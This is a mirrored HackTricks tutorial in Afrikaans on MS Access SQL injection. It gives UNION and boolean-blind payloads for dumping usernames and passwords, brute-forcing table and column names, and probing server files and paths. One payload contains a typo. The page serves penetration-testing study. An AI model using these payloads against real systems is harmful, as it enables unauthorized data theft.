mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
192 lines
9.9 KiB
Markdown
192 lines
9.9 KiB
Markdown
# MS Access SQL-injeksie
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
|
|
|
</details>
|
|
|
|
## Aanlyn-speelplek
|
|
|
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
|
|
|
## DB Beperkings
|
|
|
|
### String-konkatenasie
|
|
|
|
String-konkatenasie is moontlik met die karakters `& (%26)` en `+ (%2b)`.
|
|
```sql
|
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
|
```
|
|
### Kommentaar
|
|
|
|
Daar is geen kommentaar in MS Access nie, maar dit is blykbaar moontlik om die laaste deel van 'n navraag te verwyder met 'n NULL-teken:
|
|
```sql
|
|
1' union select 1,2 from table%00
|
|
```
|
|
As dit nie werk nie, kan jy altyd die sintaks van die navraag regmaak:
|
|
```sql
|
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
|
```
|
|
### Gestapelde Navrae
|
|
|
|
Hulle word nie ondersteun nie.
|
|
|
|
### LIMIT
|
|
|
|
Die **`LIMIT`**-operateur **is nie geïmplementeer nie**. Dit is egter moontlik om die resultate van 'n SELECT-navraag te beperk tot die **eerste N-tabelrye deur die `TOP`-operateur** te gebruik. `TOP` aanvaar 'n heelgetal as argument wat die aantal terug te gee ryë verteenwoordig.
|
|
```sql
|
|
1' UNION SELECT TOP 3 attr FROM table%00
|
|
```
|
|
Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
|
|
|
|
## UNION Navrae/Subnavrae
|
|
|
|
In 'n SQLi wil jy gewoonlik 'n nuwe navraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subnavrae of ekstra navrae 'n `FROM` aangedui word**.\
|
|
Dus, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
|
|
Daarom moet jy 'n **geldige tabelnaam** weet.
|
|
```sql
|
|
-1' UNION SELECT username,password from users%00
|
|
```
|
|
### Ketting van gelykheid + Substring
|
|
|
|
{% hint style="warning" %}
|
|
Dit sal jou in staat stel om waardes van die huidige tabel uit te voer sonder om die naam van die tabel te weet.
|
|
{% endhint %}
|
|
|
|
**MS Access** maak gebruik van **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`**. Aangesien die SQL-injectie gewoonlik binne 'n **`WHERE`** klousule sal wees, kan ons dit misbruik.
|
|
|
|
Stel jou voor jy het 'n SQLi in 'n MS Access databasis en jy weet (of het geradeer) dat een **kolomnaam username** is, en dit is die veld wat jy wil **uitvoer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting van gelykheidstegniek gebruik word en potensieel inhoud uitvoer met 'n **boolean-injectie** deur die **`Mid`**-funksie te gebruik om substrings te kry.
|
|
```sql
|
|
'=(Mid(username,1,3)='adm')='
|
|
```
|
|
As jy die **naam van die tabel** en **kolom** wat jy wil dump ken, kan jy 'n kombinasie van `Mid`, `LAST` en `TOP` gebruik om **alle inligting te lek** deur middel van boolean SQLi:
|
|
```sql
|
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
|
```
|
|
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
|
|
|
|
### Brute-forcing Tabelname
|
|
|
|
Met behulp van die ketting-ewekansige tegniek kan jy ook **tabelname bruteforce** met iets soos:
|
|
```sql
|
|
'=(select+top+1+'lala'+from+<table_name>)='
|
|
```
|
|
Jy kan ook 'n meer tradisionele metode gebruik:
|
|
```sql
|
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
|
```
|
|
_Voel vry om dit in die aanlyn speelgrond te kontroleer._
|
|
|
|
* Sqlmap algemene tabelname: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
|
* Daar is 'n ander lys in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
### Brute-Forcing Kolomname
|
|
|
|
Jy kan **brute-force huidige kolomname** met die kettinggelykheidstruuk met:
|
|
```sql
|
|
'=column_name='
|
|
```
|
|
Of met 'n **groep deur**:
|
|
```sql
|
|
-1' GROUP BY column_name%00
|
|
```
|
|
Of jy kan die kolomname van 'n **verskillende tabel** met brute force aanval:
|
|
```sql
|
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
|
|
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
|
```
|
|
### Data dump
|
|
|
|
Ons het reeds die [**ketting gelykheidstegniek**](ms-access-sql-injection.md#chaining-equals-+-substring) bespreek **om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
|
|
```sql
|
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
|
```
|
|
In 'n neutedop gebruik die navraag 'n "as-dan" verklaring om 'n "200 OK" te veroorsaak in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10-operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST maak dit moontlik om slegs die 10de tuple te oorweeg. Op sulke waarde, deur die gebruik van die MID-operator, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "gebruikersnaam" veld vir alle rye dump.
|
|
|
|
### Tyd-gebaseerd
|
|
|
|
Kyk [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
|
|
|
### Ander interessante funksies
|
|
|
|
* `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (aanvanklike posisie is 1)
|
|
* `LEN('1234')` kry lengte van string
|
|
* `ASC('A')` kry ASCII-waarde van karakter
|
|
* `CHR(65)` kry string vanaf ASCII-waarde
|
|
* `IIF(1=1,'a','b')` as dan
|
|
* `COUNT(*)` Tel aantal items
|
|
|
|
## Tabelle optel
|
|
|
|
Van [**hier**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) kan jy 'n navraag sien om tabelle name te kry:
|
|
```sql
|
|
select MSysObjects.name
|
|
from MSysObjects
|
|
where
|
|
MSysObjects.type In (1,4,6)
|
|
and MSysObjects.name not like '~*'
|
|
and MSysObjects.name not like 'MSys*'
|
|
order by MSysObjects.name
|
|
```
|
|
Dit moet egter opgemerk word dat dit baie tipies is om SQL-injeksies te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
|
|
|
|
## Toegang tot lêerstelsel
|
|
|
|
### Volledige pad van webwortelgids
|
|
|
|
Die kennis van die **absoluut pad van die webwortel kan verdere aanvalle vergemaklik**. As die toepassingsfoute nie heeltemal weggesteek is nie, kan die gidspad onthul word deur te probeer om data te selekteer uit 'n nie-bestaande databasis.
|
|
|
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
|
|
|
MS Access reageer met 'n **foutboodskap wat die volledige gidsnaam van die webgids bevat**.
|
|
|
|
### Lêeropnoeming
|
|
|
|
Die volgende aanvalvektor kan gebruik word om **die bestaan van 'n lêer op die afgeleë lêerstelsel te bepaal**. As die gespesifiseerde lêer bestaan, veroorsaak MS Access 'n foutboodskap wat aandui dat die databasisformaat ongeldig is:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
|
|
|
'n Ander manier om lêers op te noem, behels die **spesifisering van 'n databasis.tabel-item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **foutboodskap oor die databasisformaat**.
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
|
|
|
### Raai van .mdb-lêernaam
|
|
|
|
Die **databasislêernaam (.mdb)** kan bepaal word met die volgende navraag:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
|
|
|
Waar **name\[i] 'n .mdb-lêernaam** is en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal veroorsaak, is dit moontlik om te onderskei tussen 'n ongeldige lêernaam en 'n geldige .mdb-lêernaam.
|
|
|
|
### .mdb-wagwoordkraker
|
|
|
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis hulpmiddel wat gebruik kan word om die hoofdatabasiswagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
|
|
|
|
## Verwysings
|
|
|
|
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|